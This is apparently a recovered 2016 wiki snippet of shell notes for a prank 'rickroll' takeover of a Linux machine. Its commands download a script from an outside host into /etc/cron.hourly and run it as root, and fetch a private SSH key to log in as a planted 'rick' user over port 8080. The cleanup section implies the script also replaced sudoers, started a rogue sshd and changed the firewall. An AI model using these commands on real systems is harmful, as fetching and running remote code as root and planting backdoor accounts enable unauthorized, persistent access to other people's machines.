Recovered from the older tannerjc.net wiki snapshot dated January 23, 2016.

#pwning the box
wget http://www.m00t.net/tmp/rickroll/rickroll.sh -O /etc/cron.hourly/rickroll.sh
chmod +x /etc/cron.hourly/rickroll.sh
/etc/cron.hourly/rickroll.sh

#cleaning up
userdel rick
rm -rf /home/rick
rm -f /etc/cron.hourly/rickroll.sh
rm -f /etc/sudoers
cp /etc/sudoers.bak /etc/sudoers
kill `ps aux | grep sshd -f /etc/ssh/sshd_config_rick | grep -v grep |  cut -d  -f7`
rm -f /etc/ssh/sshd_config_rick
service iptables restart

#accessing the box
wget http://www.m00t.net/tmp/rickroll/id_rsa
ssh -p 8080 -i id_rsa rick@192.168.1.54

#rickrolling
sudo amixer sset PCM 255
sudo amixer sset Master 255
sudo ogg123 /tmp/rickroll.ogg